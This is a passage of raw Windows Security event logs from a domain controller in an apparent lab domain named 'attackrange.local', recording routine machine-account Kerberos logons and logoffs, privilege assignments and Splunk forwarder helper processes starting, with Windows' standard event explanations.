Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:24:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255624
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32DD03

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:24:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255627
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x33A059

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:24:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255626
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x33A059
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64583

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:24:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255625
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x33A059

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:25:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255628
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:25:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255629
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf3c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:25:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255631
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1340
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:25:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255630
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc8c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:25:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255633
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:25:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255632
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1258
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:25:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255634
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x910
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:25:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255637
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x33D5AD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:25:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255636
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x33D5AD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64596

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:25:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255635
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x33D5AD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:26:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255638
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:26:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255639
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:26:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255641
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:26:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255640
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa2c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:26:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255643
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:26:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255642
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x47c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:26:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255644
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:26:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255647
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x340B0A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:26:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255646
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x340B0A
